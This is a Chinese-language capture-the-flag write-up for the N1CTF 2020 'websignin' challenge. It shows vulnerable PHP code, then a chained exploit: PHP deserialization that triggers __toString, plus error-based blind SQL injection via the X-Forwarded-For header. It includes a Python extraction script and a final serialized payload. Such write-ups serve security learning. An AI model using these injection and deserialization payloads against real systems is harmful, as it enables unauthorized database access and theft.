前言 这题好气,知道\_tostring()
怎么利用,知道要从数据库里面取出key来,想到了基于时间的注入,也考虑了报错注入,但是没有想到_stristr()的另一个作用,多角度思考还是得锻炼
websignin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php class ip { public $ip; public function waf ($info ) { } public function __construct ( ) { if (isset ($_SERVER['HTTP_X_FORWARDED_FOR' ])){ $this ->ip = $this ->waf($_SERVER['HTTP_X_FORWARDED_FOR' ]); }else { $this ->ip =$_SERVER["REMOTE_ADDR" ]; } } public function __toString ( ) { $con=mysqli_connect("localhost" ,"root" ,"********" ,"n1ctf_websign" ); $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')" ,$this ->waf($_SERVER['HTTP_X_FORWARDED_FOR' ]),time()); if (!mysqli_query($con,$sqlquery)){ return mysqli_error($con); }else { return "your ip looks ok!" ; } mysqli_close($con); } } class flag { public $ip; public $check; public function __construct ($ip ) { $this ->ip = $ip; } public function getflag ( ) { if (md5($this ->check)===md5("key****************" )){ readfile('/flag' ); } return $this ->ip; } public function __wakeup ( ) { if (stristr($this ->ip, "n1ctf" )!==False ) $this ->ip = "welcome to n1ctf2020" ; else $this ->ip = "noip" ; } public function __destruct ( ) { echo $this ->getflag(); } } if (isset ($_GET['input' ])){ $input = $_GET['input' ]; unserialize($input); }
要得到flag得触发getflag()
函数并且check
得和key一样,因此想到了从上面的ip类中利用XFF 的sql注入得到key,方法是利用stristr()触发\_tostring
函数,并且伪造XFF头来注入sql语句 问题: 基于时间的注入基本所有函数都被ban掉了,sleep()
,benchmark()
,还有上网找的一些不常见的也被ban了,waf内容也不知道,因此只剩下报错注入了(早该想到这一点),利用mysql_error()
来返回我们构造好的比如说updatexml(1,concat(0x7e,if((select substr(verion(),2,1)="{}"),'n1ctf',1))),1)
,当我们条件为真的时候,返回”n1ctf”让页面显示welcome to n1ctf2020
,典型的布尔盲注,只不过绕的弯子比较多 剩下就交给python了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsimport stringpayload = "123.123.123.123' or updatexml(1,concat(0x7e,(select if((select substr((select `key` from `n1key`),{a},1)='{b}'),'n1ctf',1))),0) " \ "or '" url = "http://101.32.205.189/?input=O%3A4%3A%22flag%22%3A1%3A%7Bs%3A2%3A%22ip%22%3BO%3A2%3A%22ip%22%3A0%3A%7B%7D%7D" strings = "1234567890qwertyuiopasdfghjklzxcvbnm,.~{}" version = "" for i in range(50 ): for s in strings: headers = {"X-Forwarded-For" : payload.format(a=i, b=s)} r = requests.get(url=url, headers=headers) if r.text.count("welcome to n1ctf2020" ) == 2 : print(s+"is find!" ) version += s print("now data is: " +version) print("data is :" +version)
运行之后可以得到key 然后构造带有正确check的flag类
1 2 3 $f = new flag('n1ctf' ); $f -> check = "n1ctf20205bf75ab0a30dfc0c" ; echo urlencode(serialize($f));
得到final payload
1 O%3A4%3A%22flag%22%3A2%3A%7Bs%3A2%3A%22ip%22%3Bs%3A5%3A%22n1ctf%22%3Bs%3A5%3A%22check%22%3Bs%3A25%3A%22n1ctf20205bf75ab0a30dfc0c%22%3B%7D
小结 发散思维,多考虑几个方面,时间注入不行就想报错注入,多看几遍源码找到新的突破点,这题没做出来有点可惜的,下次加油!